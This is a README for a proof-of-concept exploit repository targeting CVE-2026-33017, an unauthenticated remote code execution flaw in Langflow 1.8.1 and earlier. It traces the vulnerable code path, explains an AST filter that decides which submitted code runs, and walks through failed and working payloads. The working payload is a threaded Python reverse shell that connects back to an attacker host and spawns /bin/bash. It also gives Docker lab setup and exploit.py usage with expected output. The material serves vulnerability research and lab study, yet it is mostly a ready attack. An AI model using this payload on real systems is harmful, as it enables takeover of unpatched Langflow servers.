
PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.
Disclaimer
This repository was created for security research and educational purposes only.
Use it only in an isolated lab environment.
Using it against unauthorized systems is a violation of the Information and Communications Network Act and is subject to criminal penalties.
| Item | Details |
|---|---|
| CVE ID | CVE-2026-33017 |
| Affected Software | Langflow (AI workflow builder) |
| Affected Versions | Langflow ≤ 1.8.1 |
| Patched Version | Langflow ≥ 1.9.0 |
| Vulnerability Type | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Listed |
POST /api/v1/build_public_tmp/{flow_id}/flow
This endpoint is designed for building public flows and is accessible without authentication.
Execution path confirmed by tracing the source code directly:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← Receives client input as-is (vulnerability)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← Passes client data as-is
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← Arbitrary code execution
The prepare_global_scope() function does not execute every statement in the submitted code.
After AST parsing, it selects and executes only specific node types:
# lfx/custom/validate.py — inside prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Expr nodes are not included anywhere → not executed
exec(compiled_code, exec_globals) # only definitions are executed
Executable AST node types:
| AST Node Type | Example | Executed |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Executed |
ClassDef | class ExploitComponent(Component) | ✅ Executed |
Assign | _r = os.system("id") | ✅ Executed |
AnnAssign | _r: int = os.system("id") | ✅ Executed |
Expr | os.system("id") (standalone call) | ❌ Ignored |
Conclusion: A payload must be written in
Assignform (_r = ...) to be executed.
A plain function call (os.system("id")) is classified as anExprnode and is filtered out.
During the lab exercise, several payload approaches were attempted, and the cause of each failure was identified at the source level.
subprocess.Popen + wait() (failed)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← blocks here
Cause of failure: While the Langflow worker thread is monitoring the component return value, the socket is forcibly closed upon timeout. Blocking in _proc.wait() becomes meaningless.
os.execve() call (failed)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Cause of failure: Per POSIX rules, when execve() is called in a multithreaded process, all threads except the calling thread are terminated → the entire uvicorn worker crashes → HTTP 500.
os.fork() + execve() (failed)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Cause of failure: uvicorn detects the child process as an abnormal termination and restarts the worker → HTTP 500.
threading.Thread(daemon=True) (failed)threading.Thread(target=_shell, daemon=True).start()
Cause of failure: A daemon=True thread is destroyed along with the main thread (Langflow worker) when it exits. The thread dies before the connect() attempt.
threading.Thread(daemon=False) + Assign# FunctionDef → executed
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → executed (standalone Expr calls are excluded by the filter, so variable assignment is required)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Why daemon=False:
daemon=True → destroyed when the Langflow worker thread terminatesdaemon=False → has a lifecycle independent of the worker → socket connection remains aliveCVE-2026-33017/
├── README.md
├── Dockerfile # Vulnerable Langflow 1.8.1 environment
├── Dockerfile.attacker # Attacker container (includes curl, nc, net-tools)
├── docker-compose.yml # Vulnerable server + attacker container
├── entrypoint.sh # Langflow startup and automatic Public flow creation
├── exploit.py # Reverse shell PoC
└── poc.py # Blind RCE / vulnerability existence check
# 1. Build and start containers
docker compose up --build
# 2. Verify Langflow Web UI access
# http://localhost:7860
# admin / admin123!
# 3. Check container IPs
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (victim) │
│ langflow-attacker 172.19.0.3 (attacker) │
└──────────────────────────────────────────────────┘
Run inside the attacker container:
docker exec -it langflow-attacker bash
# Automatic mode (token issuance + Public flow creation + built-in listener)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Options:
| Option | Description | Default |
|---|---|---|
--url | Target Langflow URL | Required |
--lhost | Reverse shell callback IP | Required |
--lport | Reverse shell callback port | Required |
--flow-id | Public flow UUID (auto-created if omitted) | Auto |
--user | Admin ID | admin |
--password | Admin password | admin123! |
--no-listen | Disable built-in listener (when using an external nc) | False |
--timeout | HTTP timeout (seconds) | 30 |
Expected output:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Logging in... (admin)
[*] Token issued successfully
[*] Creating Public flow...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener started → 0.0.0.0:4444
[*] Endpoint : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback : 172.19.0.3:4444
[*] Sending payload...
[*] HTTP response : 200